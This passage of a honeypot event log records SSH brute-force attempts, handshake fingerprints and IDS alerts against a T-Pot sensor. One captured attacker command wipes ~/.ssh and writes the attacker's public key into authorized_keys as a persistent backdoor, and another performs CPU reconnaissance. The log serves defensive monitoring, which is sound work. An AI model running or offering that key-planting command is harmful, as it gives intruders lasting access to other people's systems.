"192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
35875	40.67.250.120	109.199.241.180	Suricata	2021-09-20 15:11:01.901612+03	2021-09-20 15:15:03.836719+03	{"_id": "PwYdA3wBvYTbRNuE4F8G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:01.901612+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "40.67.250.120", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 53.3338, "location": {"lat": 53.3338, "lon": -6.2488}, "timezone": "Europe/Dublin", "city_name": "Dublin", "longitude": -6.2488, "postal_code": "D02", "region_code": "L", "region_name": "Leinster", "country_name": "Ireland", "country_code2": "IE", "country_code3": "IE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "40.67.250.120", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 1957504264552940, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62533, "timestamp": "2021-09-20T12:11:01.901612Z", "@timestamp": "2021-09-20T12:11:01.901Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	IE
35882	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:01.283758+03	2021-09-20 15:15:03.845692+03	{"_id": "PAYdA3wBvYTbRNuE3l_l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b87a79bbd243", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:11:01.283758Z", "@timestamp": "2021-09-20T12:11:01.283Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	IN
35876	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:11:01.284311+03	2021-09-20 15:15:03.837722+03	{"_id": "QgYdA3wBvYTbRNuE4V8C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "43.240.6.90", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53674, "timestamp": "2021-09-20T12:11:01.284311", "@timestamp": "2021-09-20T12:11:01.284Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35877	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:11:01.830002+03	2021-09-20 15:15:03.838725+03	{"_id": "RAYdA3wBvYTbRNuE4l_O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "5231f56350cd", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T12:11:01.830002Z", "@timestamp": "2021-09-20T12:11:01.830Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35878	40.67.250.120	109.199.241.180	Suricata	2021-09-20 15:11:02.075425+03	2021-09-20 15:15:03.840723+03	{"_id": "RgYdA3wBvYTbRNuE41_w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:01.901612+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 120}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "40.67.250.120", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 53.3338, "location": {"lat": 53.3338, "lon": -6.2488}, "timezone": "Europe/Dublin", "city_name": "Dublin", "longitude": -6.2488, "postal_code": "D02", "region_code": "L", "region_name": "Leinster", "country_name": "Ireland", "country_code2": "IE", "country_code3": "IE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "40.67.250.120", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 1957504264552940, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62533, "timestamp": "2021-09-20T12:11:02.075425Z", "@timestamp": "2021-09-20T12:11:02.075Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	IE
35879	204.79.197.222	109.199.241.180	Suricata	2021-09-20 15:11:02.619492+03	2021-09-20 15:15:03.84172+03	{"_id": "RwYdA3wBvYTbRNuE41_w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:02.619492+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM RST recv but no session", "signature_id": 2210041}, "geoip": {"ip": "204.79.197.222", "asn": 8068, "as_org": "Microsoft Corporation", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "204.79.197.222", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 544094951994340, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62504, "timestamp": "2021-09-20T12:11:02.619492Z", "@timestamp": "2021-09-20T12:11:02.619Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
35880	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:11:03.458226+03	2021-09-20 15:15:03.842717+03	{"_id": "SAYdA3wBvYTbRNuE5l-3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sh-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.session.params", "message": [], "session": "73b93f327549", "@version": "1", "timestamp": "2021-09-20T12:11:03.458226Z", "@timestamp": "2021-09-20T12:11:03.458Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
35883	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 15:11:01.352685+03	2021-09-20 15:15:03.847689+03	{"_id": "PQYdA3wBvYTbRNuE3l_l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "99a4b4631518", "@version": "1", "duration": 1.8979015350341797, "timestamp": "2021-09-20T12:11:01.352685Z", "@timestamp": "2021-09-20T12:11:01.352Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	US
35884	43.240.6.90	109.199.241.180	Suricata	2021-09-20 15:11:01.592693+03	2021-09-20 15:15:03.84869+03	{"_id": "QAYdA3wBvYTbRNuE4F8G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "43.240.6.90", "dest_ip": "192.168.20.116", "flow_id": 550859525379916, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53674, "dest_port": 22, "timestamp": "2021-09-20T12:11:01.592693Z", "@timestamp": "2021-09-20T12:11:01.592Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	IN
35885	43.240.6.90	109.199.241.180	Fatt	2021-09-20 15:11:01.592793+03	2021-09-20 15:15:03.84969+03	{"_id": "QQYdA3wBvYTbRNuE4V8C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "43.240.6.90", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 53674, "dest_port": 22, "timestamp": "2021-09-20T12:11:01.592793", "@timestamp": "2021-09-20T12:11:01.592Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	IN
35886	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:11:02.379033+03	2021-09-20 15:15:03.85069+03	{"_id": "QwYdA3wBvYTbRNuE4l_O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "1e3a6334d3a6", "@version": "1", "duration": 5.675726890563965, "timestamp": "2021-09-20T12:11:02.379033Z", "@timestamp": "2021-09-20T12:11:02.379Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35887	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:02.929198+03	2021-09-20 15:15:03.85169+03	{"_id": "SwYdA3wBvYTbRNuE5l-3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "b87a79bbd243", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T12:11:02.929198Z", "@timestamp": "2021-09-20T12:11:02.929Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	IN
35899	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:11:04.243642+03	2021-09-20 15:15:03.869689+03	{"_id": "TgYdA3wBvYTbRNuE6l-e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b87a79bbd243", "@version": "1", "duration": 2.959944725036621, "timestamp": "2021-09-20T12:11:04.243642Z", "@timestamp": "2021-09-20T12:11:04.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	IN
35888	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:11:03.458767+03	2021-09-20 15:15:03.85369+03	{"_id": "SgYdA3wBvYTbRNuE5l-3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "73b93f327549", "@version": "1", "timestamp": "2021-09-20T12:11:03.458767Z", "@timestamp": "2021-09-20T12:11:03.458Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
35889	13.107.21.200	109.199.241.180	Suricata	2021-09-20 15:11:03.7018+03	2021-09-20 15:15:03.854689+03	{"_id": "TAYdA3wBvYTbRNuE51_X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:03.701800+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM RST recv but no session", "signature_id": 2210041}, "geoip": {"ip": "13.107.21.200", "asn": 8068, "as_org": "Microsoft Corporation", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "13.107.21.200", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 1621977124549992, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62505, "timestamp": "2021-09-20T12:11:03.701800Z", "@timestamp": "2021-09-20T12:11:03.701Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
35890	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:11:04.000528+03	2021-09-20 15:15:03.85669+03	{"_id": "TQYdA3wBvYTbRNuE6l-e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "113.87.161.152", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "73b93f327549", "@version": "1", "destfile": "/home/yq/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T12:11:04.000528Z", "@timestamp": "2021-09-20T12:11:04.000Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	CN
35891	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:11:04.416339+03	2021-09-20 15:15:03.85769+03	{"_id": "UAYdA3wBvYTbRNuE6l-e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sh-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.session.params", "message": [], "session": "73b93f327549", "@version": "1", "timestamp": "2021-09-20T12:11:04.416339Z", "@timestamp": "2021-09-20T12:11:04.416Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
35892	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:11:04.416891+03	2021-09-20 15:15:03.85969+03	{"_id": "UQYdA3wBvYTbRNuE6l-e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l | head -c 30", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l | head -c 30", "session": "73b93f327549", "@version": "1", "timestamp": "2021-09-20T12:11:04.416891Z", "@timestamp": "2021-09-20T12:11:04.416Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
46828	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:45:56.975911+03	2021-09-20 17:00:03.293694+03	{"_id": "IwZ0A3wBvYTbRNuExq6r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:45:56.975911Z", "@timestamp": "2021-09-20T13:45:56.975Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
